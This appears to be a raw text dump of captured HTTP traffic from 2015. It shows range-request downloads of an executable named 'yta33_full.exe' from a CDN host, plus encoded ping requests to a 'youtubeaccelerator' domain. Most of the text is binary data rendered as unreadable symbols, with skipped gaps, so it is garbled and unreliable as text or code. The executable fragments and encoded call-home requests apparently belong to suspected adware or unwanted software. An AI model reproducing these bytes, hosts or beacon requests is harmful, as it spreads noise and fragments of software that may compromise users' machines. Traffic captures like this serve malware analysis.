......".C.....Z s.Z.< .X.....r...w-.........-W..0.............. .V.
T...E..bH\:]D....'(X,.,..6...C$k.X.H...T.4r....(...$.N.n.jO7....R...)v
@G..6.XF..n..6....j.T...g...G. ...=0^....G`i......N..;5^.W.`.H|..I.b..
..aU=M.%&/x..x.}....V.`.p..O.A(3.i..Q.'....F...B..c...Z.T...2S...H.Y.V
v-.1.......JI...=9=....G:...#-...1..]V.j.....f... ..P.Q....U....E..D.Q
.`...L.#...k...t0bb....Dm.C....f..MS*J.......}..j....v..............I.
-qj..\~p.W..n$HW;.|.&\..4........}J..h.w55^.vg.Lq<wI..........}....
..;w9.c.O...(R....0..^[R..1........ 6...g.....?....l.&3(.y.Q-y:HN..>
;p 4.]......yO..m.H.nc........>..[.....B.x..........BBx.........TA.
..B.0o3.tu...q.X....v/....t...fd.......'..x..u.K%..e$)......q.lY...U..
C...L..E.....T^`#..NE.v).l...#.....u_^B*.6....O...rA......}.o...|sq. .
....$.>.hi..{..ie1....h..J4.z.*.G.].VY. dCj._....$..XH...b..W,.....
...!...S...-m{.xh.. .v....CYO...d^J..i........n.'|..t;Q..........Q....
y.o.. QG,..E..iC.x.'..........oh.r....\. ...SOnQ#,erC..kG...(.*.(..L. 
.B)....W.-......?..W....w.|...L.....W....IF.....B.f.o...'..,\.`....|..
....*...6.T.L`.h3Q {.x.hp..>...2Vo.x.../xzE.b.u...b...m..Uai.....1.
.....2i0........QW.....\%7.........Z.."......1.....]....@[email protected].....
m._./.8....Vj...~.0....H.W..Cv..h..4...y.>FR8...M.?sE..L-.)...$~2.g
...B.,..V.u......J.E.....{>..........!......4.S.aPX .uL...i-}1..V..
...H.Bm....K;...2ZvA.....p2....a.m. q..6>..}%.bR..J.......".-u&p..@
[email protected]..#.
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6000000-6249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6000000-6249999/7590800
..!.....<..(..).n........Nvh][.....f.M.}...*./Z..A?.........po..M..
.&9=..Iq..N.tr...%e.|.E..U.....g...I.><..@......[....&...) .S...
.....<.d.0.@..~L..N...6.b. le.p....8...a2.........rvM..O...?.....#A
.<S.1_.._..Ww../......F...m3 I..Aa.z...d....).i.2...e.....-J.?..b..
.(..........H-..6.._....1.c.>...R....gv.........e..=......Xj.U.CZ;.
.[.u.. ..3SS1DN9._x.uz.4..C87.....r..F[.;Wy.p...f................kr..(
....Z..$..B.....vm[1.x..I.dWX.r....`...........-5.^.82.m.>(bpYd1.ID
...0......s..l. ^^^R.8....p....;.=.4F..}.&....`...g.io.=....`..Fp...M.
...;..v:E-.#.....g......w.7`4...NCYH....M..|.du].Js...&U(..\./.F..Ic..
..".c.xN...B..o.KK..e....{..G..n...i@(..t6v...`V.;=.-W.1p...O.z.......
*.:.....#o%.;D~...`.......9q.....Y}&."...X.t.aZYL.W..!f..}R.5d=.\M`..7
.K...mQ../...Q.$.\/..?.B.....Fj.... ....(.[2.k.{......t.....S...u..W.O
....yk;......gf.w..|...e>..........ucC9....#......*.'....5.....EFbY
.5..9.B:s<.......3.68.~M......V....4.j<...........A..O./|...._..
.*.). ..Z....O...6....9.....<.d{....._953.....J..E....>.F E.f.b.
<.:<$..n..,!.."....L.......,..^O..z.,fF.%?...h.]MP..:.k5..A...\.
.=e.L0..zb.... j.F.]@M..W`B1[p...B~<._....hW...6b...\...W.4?.|j\h_.
~.R..@...:........C<.5...*..<*A/V&.|...'.$./..mD.p..]p..P...R.X#
.vYbk.\..l>...*..i.....t..1..<.h.............._. .L.^...n...T...
........~5..uD.Z...q....~..}.\#....Ql...'.8.K4..}..N....A..yX...2P....
or<.... .._,...[.p........\..r...Z:..W..i.....G....C....{....p..].5
9...x...J.....a.u... ......T.:.!.....!.....Z<...4....|.. gz....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6750000-6999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6750000-6999999/7590800
A.d.I?(..!.^.pc2....9.wf2..lZ.,..\.]Q..b.).0U.{hy.......B..-f..vM:.g..
.v.......!....].D*.....{s..U1.Q.bu..Z.B...6......bj.........5...".adY.
.%.....8V.q.$.......(...Z..$.A~G........t.2..b........_".%.7....H./e.9
.N.7.....Zbj...>.M.R.......#..........i..R.$.#....XxK.d8..&.k..7.].
.)_...=#.2..J....L.... .G....l.X...CA.i...-....T.A.S.:$.F.~...n.]Q%$..
.?H..a....O...#M......qD..=..K.......B....v...k........I.......s<..
,.1s6|..8D(.}..'..<.s.Q.....[M..[...\ .....]S}......j..V..?........
.......S...F..r._i....=\Ea.f[@....p....O...*[email protected].,.2ZA..Z.
r.3l.y...j#.L.q5..ct.KBnNx.$t.cMn.....(`....K..nt.;g..._.`......^...#U
.9RE`x... o..K.......A..F4}.:L.}.uQS.=,...........Dl..%....K.!)."EuKQ.
v...9.......f....9|..>Z..j.....k.......]...9]..;ul...16r....s..p3..
...n.....N.I...7t..J6j.wA..J=j.B...3p......L.[...}..8..j..o.w#{....|'.
..#..2..R..Y..._.>..!...^..nCw......._O........i~C....0.?}.z..m.c..
e..jpY$.;.m..H[...~....=.wR.'7Ih.........5..,wC. ...9...w..4u..@......
.....<.p,.._j.=..t.x.h..d..t..u.P8.,q..xX.....k.o.@...`....4...9..%
YgBo.1(d.$...)..n..y.:X.p/[...<.....*...A....<..ezO.....?6......
[email protected]...<..._6.....J...y../...I..FZ..w
..rH...oi.a..=....|...y|i|..5x.7-.c ..NE$_..m....]......u.!.....M.....
6jI.<%i&...n....S..$~G.6mR%w.C...Q....S7r../.o...\.,.}p.h..).......
]..F."....w..Y.._..{.c.5\f.. l.....{....U.*.D.!....?.).z..82.{....(...
A^`.`W.70........bnf.~.j...B......fe.......0.. .O...[.s.1=..I.0W..b!5.
.U.... ?I...R.....%..]?..D.........K.. 4.......&.....2! .VDce{....
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7250000-7499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:23 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7250000-7499999/7590800
1if....t......... ...9..... .&K..#.......... aW.R...r.y.K..M.D...W.R..
$..l...:e..W.;..(.... .%..:.....:...T.0...]...C.Sg..UH.'p.85H.........
..l......#f.0XY.$....a...p....&.6..h..P....|d......e..'......J......q.
..<j..8sG......._R..Zg.@.,."9....@.)W....N0....6.7w%..`...s%..P{..d
w.!]d...u3<X/.......?D.......161?3..|..%...i...O.qR....Uc=......f.m
[email protected](....J..RD...k.6...O.VG.A..z^.N`[email protected] %..
A...L<.d.....tZ.3..yc..^.[...Hv.&.<9..}..D.J..Y..&G.....gs...Ek.
g|ow.z'W..!.m..$..r;~..LU.D1D5.j.,~..B.B#2...u!^...\....8...CW.h....g.
'!...,....q..G.......3...qTL.........V*O....L..|.~.........N.e-..)v..A
.........7...I.AqOz..i.3.Q.W...s.).....B..S{..~..........p..{.. z.._'c
.EB....]...0R.P..U...*|.....~.{.oa&.(.h6."8..j.T...A6..] OM........df.
Hklt3..io.-...|. ...*[email protected]...@/..<. ...o.......
..i...........5b>....#/=2P>F....C].yB.pc.S.I-..{.,.......'$.."..
.......x..D......5....x.M6^[email protected]..:..V.d@&...0.....{.#.K..
.{.....q&..k..S.6.....bc.....xq.R.P........W.^[email protected][.,.......m..\..
\...5.._...I...0....).K.C..U>U.#.................D...7;...W..H.(.a.
.>..Ps......1....r..[Nl..}......>r^..0O..&..%..FS....I..).E.Q...
").DL..K.8...#.."IV.R..V..Y....i.}......"..H1.../....nE0y.A......AJ.=L
........l.......sb.../ ....n...r1-`....^H-..n...z..C.p..J.1.........-1
.6...5.VO..[.>.-....?....%.|..j..8...4.A.U.........pP.9.z..f...cgb.
:......X..(ck.......X......P..5..............`...E.....d.K.K.z.i..eN..
.vy.....;..`f..B...V2H...MO...y..:-@..,D5.].:._Iw.B....U.I..?"z...
<<< skipped >>>


GET /app/ping.ashx?e=M7A8vgjJHrgEsywVOPpl7qpNEI 1DWq5frOw5u44Zd8yIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhq0UUubXBgxtYCpHZc9ZUaF4PzDsAgk936bK2Q7GGGnWzo/w/HffLExyHqaaCgYxqPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5GbVYBUSgIm9K0abTLIU12YZItlZ1Dhf0/EmjUQkbJhEBSr28YVyfPg8SfsOq8sVv HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:36 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=hpY1rXLYst7rylc9w7m97SvLfUo0CTViK3NXCIbUkKJ8HUTlRWqBMpqmf2Jej06Ro0LYMjdINHMQslsRMw lHg8m4UHiIkMCiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cXZ8qiEfUAdDFv3UUxaCmaxO5DUMAeJYUVsXXNrU8MbsN7/ITptlmJcAeXrDcfXn1 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:36 GMT
Content-Length: 0
....


GET /app/ping.ashx?e=eISsn0A7mAbJ8pjs/lobyCxcBYBT1h/GTY7o  ykts29gdZ7vVVoir9hXn5fpF0AWcMhU uLDRW9bNt46T8oeTR6lETnJArbeqfOL09Waq4nbzUS3m/7WLONeuBglAqxaHHlbCgpQ5v1r/ZKpWQiXoklGVmqeZFU8n8JlmuEfM7iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvDlvHUGzrBfs7/xeJ1qX8tS6qgnFCgftWot9vWKE/6EKNxr/pz/MJmAZSpRiXLg4A== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 15 Apr 2015 02:28:37 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 15 Apr 20
15 02:28:37 GMT..Content-Length: 0..



GET /yta33_full.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/7590800
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..s......st..............................!..5...D ..<....@..,.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSS....
..................................................................
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:21 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 500000-749999/7590800
....a....(S...q........a...!.O..7\[email protected]....'.t.i.C..1%.... ..U$f.:n
.Z..a.kw4w`..0...&.F..^..$.FN..0..R.l....gY,4Q..=...&............k.i\.
}Q/..v.~..$W...../....JZ.)..#&....F.....D.. d..^D..QA.*.!&...1.jW..]#3
..A...#A.x.v....#8.....R..x c".A..vr..r....[.....>..^...Y..........
......mx....d ..o....k.d....x..w.....O.6...Q.......Od...6..a.o...<.
A....b....ds!..y=....Na..L..ZR.@[email protected]"..
..........K0.....T....1.3.....J/l....'[email protected]...?...Z...c..OJ...)R.
?S...u..s_Y.[..r.....3.#.....O...'[email protected]../vE.c... .......D..
.6G5..7H..........&.g.f ...n. ..3....L...V.~1..g.).(.......BA.}..s....
wL.Vr..x7..8.....H...o..%...(.........-C.....z.P.."........2.I.(...t..
n..V.2Q..M...Yf!u..=].7....][email protected]..* 
.....b7..... ......8bD....uA..-lN.BHu0`!q_B*.{.$.eq<.V.w...]...V_x.
[email protected]..]..s..%.[....r.....Ge,F.....U=|.]...k....I.....DU...fZ}.nMp.r..
.5.s!..8......s?..:..K.{........,.h.0....,....q8...9.=.......w$U.qe...
...$..G*.j.....'".....9.;;..h.#Rt]#*(...8/DV.pvP...;..,....W..e.....pD
K.....wp...O.^...(4....sk.Q..:..|....Jv.......(..&._.U.l#[email protected]\.P
}U.5c.L.........h.o5pt...,...p........-}...<.B-$....}..H..8d....G..
.L.4.d.Y.3.wrD..$L.....{qQ.....<..."._...O-zV .U.E:N1h.^>.U..0.B
!.}.e~.b............Z./b.~9...w.....dI....6d.\m.....2^.G...t.Ci...~..v
.....1......`...|....!.....S"gR.Z.jhp.q...5....&.n....^f..<xg......
..s.&.....-#....3F.q#.*..Eo. .2......R......,......."...2.mE...A].....
....x..VU...m.cd...Gk...<......b.7.........._...fK..6%z.^`.C..K
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2000000-2249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2000000-2249999/7590800
..0M.......!..I/*r...S..h......B{.{.F$.~l...q..O ....\.B_.. J......2..
../.H.e<6.=....s.i....Fp.Gi.....~..I..S......j...v..,\.K.>.Qz.].
......p.nyc...-...H.:.l3r .F4...e...7.MN.G..../P[......S...K....8...\4
#........a:~..0.".....w......s.%.0.j...S.I>.e.....%3>i...|.....9
....qd.......K...`i..j....I.S...N"r..e\b.7....;..xi.Q.....w,I.....3t..
Z...=&....k....A.w...,........c..9<[email protected]...)...
[email protected].....{#.s...!..2.<k...i..oI"C.....1T.\.T..>.>....Ey!...A.
;.}K.I_...#.........Q3........1p....7.I..u..............s....x..z.D..L
.U......7:.S...(...1.5C.P...;....V....h.M.......ey..{..../A..#k.7.#n.t
Xn;wAu=....).'<.R..:9...>...bWY...QL...or..{.jn.i.3........v..$'
......g..T..r/.W.........?...aXV-h..3.g..M|qe.........(.u...Wa...f[..o
.K.._.J.....,.\.n..n.Zn.>.N...7...3D...6'.VA.K..&.`%...$V..."g..%.p
....T....t.... ...D....y....K...mX...8..B..cvlJ.0.W..W.....xfX..8Sl|..
..Uu7.=.~. ...o...".[.i..........h.dA*g>...j....p1....jz.i.pulE..S.
u............;<.. n.uK.yv-.v.0..7Z...R....@..>....0..43._..K.;.f
. D.P.?RVW.G_.e........w......zB...\.T..A 4v.5....J..5c.D......7K.-...
..f.}g8..;<X...H:v.A..nq.x...h8'.h..D..p3$...0....t(>.A....._.&g
t;..~...H. ...o...3#.C|4.E..0d.......mr&.$.W.z...;`.c.}w..............
....&s...*......^..d.......WK....g..c......E......C....>.....FH/...
$.k.<C....h...........:..`._v7xP.Aq..F.{..Q9Y(>.g....2..bz:.FY..
#G.5...p............~U...#...GAl..Y..q-..P...&.gyy......*.......7...7y
..QJ...].....}.....{..F..G......B[.......Y....Q.z.E^wd....K|x.v...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2250000-2499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2250000-2499999/7590800
..".R.....[`...P ..c_H ../.......BA....>.....9.x...[.[D...........N
..V..y....zp`...^{.e..h6p@._.2..........Ce...{....=..{..............#.
...f.!I....J....(..~.W3L......)X..3.3.''.3=.[..^Z...B.|].e{5..k..V....
....f.......&Uc...f.lR\i..j...j.......$uYF..... ?...Yc...,.2O.b5.P....
A.'r.!..2.," ..". .d^...:`&~48..N ..s.....!||@@..!..7G...O8.L.S.F...).
`C.m4b.....t.%..S*..>;'."|...Bq.....v...*@t.E..H.<........h..GK8
/...JB.....(...%..G......h.8..|...L...x.H..JtQ..@:....."$.R......p.G.I
0....D/(.JF..J..)...]\t.H...CC..'......j.......!.B:B.L...Hy...BcP..O..
..R.*...A*U.S..0.B.rhdC..B..n...._...v..A.........P0J$D...f..p..D.(...
..8..."r.J.%.|...j......".-..-.......n.&.$Z....R......>h.=7.DJ.".s.
H%#_.h....>... .W.N..oG=.B8.......9.L.f.....Y.s-..!....<..d\..S.
^..........A..."..!.Ay.g.I..>..0"..j...B4...G.7....bG~ .B...,0Z~.B/
........C.A.....$<m......{.{;...r.O..G.L.93.%q.c. ..........&t8.P..
f....U...DL......i&.%...,Y..Q....'.DO....H3......Xp;...m6.o.5.(.M.SR.X
...HkFRG...h:..B....9..F...M=.Ea.mr*.&5.P.3.......~.K..c...C..U..s'..9
..F_....P....nq.P.............(..A.........OD...G.2.?I....K...\.....3^
.l.c*-`J.D...C..$6.7.....*z...QQ..D...".r...$;B...T3rN.........0 Elf_K
...In~9.;......qT.T5!... )N.E.T$.>.a.).D%E.......}.G.Z...Y.........
...H.l.....X.e.*..v..D...S...`....z..&.K........o$p..E=..(.......I[*..
.o."...'!CH0......."$>>......d.G.....3....@(..^Q.....j.rR..AA..i
.Q...,.B...j.......a.j. l...a......d.h% * .....J<..b......"O....I."
\' ..;..8....`[email protected]'.DH..q.C(E.E.R.4UO..q^..Z
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=2750000-2999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 2750000-2999999/7590800
............N=/D]yB...H....5.S.x.so.X..5p...U.b.V.l..).{....{.T....BG^
..H=..e...../[email protected].[`93...i'..Y..!......i.S._2..
.d..... ..P & .mTJ.../g..3.9..or ..w.}.X9.w_09x.!.....T.h..$..{.8x.U..
wS~.j.....?..e....}..<.l...|.uy.O,.E.r...<.....A.!x....J.....S..
s|..CJ..$..........r...<r..Pr..."8e..yQ..SRzBXN.?.!...Q/....[.S.;n8
9dn......ka..>'...w]@r0....pV>D..w[....?-..9.TOIy_J.4.u.......6.
.j7....`...}.f.u....]..jnZv-..|z.?f...............*[email protected].
....'..., ............9..V...,;...v.]...o...OZ..V..[e..U.[..H1...nr]..
=.."....k?1....W...}..u.......5.b..v...2.....G....;.Z...gLopJ..h@.....
..._8.... \;.....y2.../.. .k./....x..R.......G...B.......62.......h.a.
.6Z.......:.C ...g.....(.....qL=l.......[|.,.....x8.o.8.-.n..P..%...Jt
....u.........C.........yy.0.........e6.}5*.g.1.. .>.....k][...?...
~Za.*.......j..LQ2r.`/...<.Nt...$...A{.K;..p.<.....*6..... .`.t.
Gw.....K>.4....d.Vn<.._.V......H}....B..],(..v.=.J....6.0.......
.T.g.xd?]g....P.5.....9..!.E2....{...>.h........=.:?R|....s.......F
..............}........bi2.r.!.....k...<D..Gz.E``#./A.D...M(3.>.
....L..6.4.f..:.#;-...W.1n6v.g.2. [email protected]=8......k.8,...3,....6.y...L
.......-.3......x.C.o...#H6....|.7t%[...hr..l..<zM.g.........Y..-r.
.zM.w;.>.].~...<[email protected][email protected].....{....."........
....../]?....7t1d.g.3..).`.<.~..f.r.j...)....p..B.u_...i..W........
..R<}}8.G... ...}.3..n.(].}..i....Tl.:..BW....._...P.._T,.^...XC.F.
asn....9..8.,&}..F..G.......<...:.Y......$.G..i.L..e...q.c.S...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=3750000-3999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive

GET /yta33_full.exe HTTP/1.1
Range: bytes=4000000-4249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4000000-4249999/7590800
[email protected]%......&K...;..%....!..6Z...}.&..^3u......R:.P;O...=3 ..
q...l.U....U......V.an...X5J.j./!y**......nf....7.L..3!.[.L.uJrU......
 5.... ..r..%...5t_.5~W..........d...<.<..E_.y.p...O..".~-......
Tm4..~f.X%.2}S..0L...I.R3.7.1.J\.....?..m.<... [email protected]..<...
..mV.z![E.%.:.r.)^.;.u...w...C.8...{...)...&v.jU.z.\Db..P..e....I..~.Y
..^c.OV`......=....\.Dc3...).{...o[.O...........2......:...K...[r....;
.t......u.....F.\...Eb.....\..d......g5.3].?52....."]o..UF.....:..1Nv.
....M:.......h.q.....l..-8l.....S......ca8u...lz}.~..-...`..:<s....
w.dz..6V....z./...@B.......`.....w..UA.;.........%....L...a.z.i.:..VUu
.R..\W.-.....5......R,..P.v...1..s...j.......Zn.(....c4.v...C|.n...<
;|.....B..Md{.E).../...S..rw"...H........=).u.....H..?.....Q.Y|....B.M
.....$.J.]...g.J.....z.{...a...e.9...)....LD.rA.>......*...D..@.<
;..C..C...br.n(.'.?m.Ba.......}...=....>.yMf.....m8.pi...'j..F....=
F.8.$......ci.Sq..k....z..8.....mY.%..a10b.>0.N..R..H&.#....(...)..
..m!G.../...q*".R.....S....5.....$..s.P.....(..u...<\.....p..Cq....
..O..{....A...........CR.2..'N......B..........t.c:=..N.t.KY:.&%q..:=.
:.o.1b.G./H.?._3..;N..w[T.>.b...fh.S...^Ij.g.l.!Z.....D....7.......
*....p.\.n.... .UDO..X..e|[email protected]...#i..........xO}...?:......u.
.....Q.X...y.azp...0p..#.."JD.;.". ..sG.b\....Fjh/......!(....;......J
.o4....v.......<*pr.8..TrE.>Jn....Q12..w..F...#....g...;..X.....
k{........o.'..........m....D|.mGk.R$...*.R.......c.{........:.i...)..
[email protected].......|.:m...
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=4500000-4749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: 32tk204qm4t-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Wed, 15 Apr 2015 02:28:22 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: lqp4G9gwlKY4OXAniIn2vxtgUFqmo2tBvmflkcqaq /EnkICFxFlv/j0z7Uh6 KT m/HMhan1a4=
x-amz-request-id: A9477EE46BAC3A39
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 4500000-4749999/7590800
..n.6.....@I|..k..4.#..]Y...-5!K.m..}V*4...u.h....h.{....C....V.....?U
..,.....uAA.....8._2....v07....vrX.....P.9..t8K#.g.V.,.)..........Q.|-
.FuSO........x.~ZV[......./....e.F..;$!2..W...INB.'.Z..&H..6......._..
xv..D....%W ....b..j....;.8[.|..I.j.n.../........Bl..(....,6B.K....J.,
=....B.#......{. ......0Y....M...[<Jp.._..2C.#....E$B[.W..F.=3.S..V
..dI...........]%.I`=..),....7.........0...Sixq..k...C~|.%.2..:.....H.
8d..*4..x2..G.......LK..,v.=D.b..x..U...a....;...m...T.Gs....1w.......
nP(I.r.J..BlT.n.*.U....yq...q.v.oQy..*W..=.g....,...^%....%"..x.......
....*.W....|9Ps..6.....d~.n...]..=......=...X>.#..hGG..v...pc...,.?
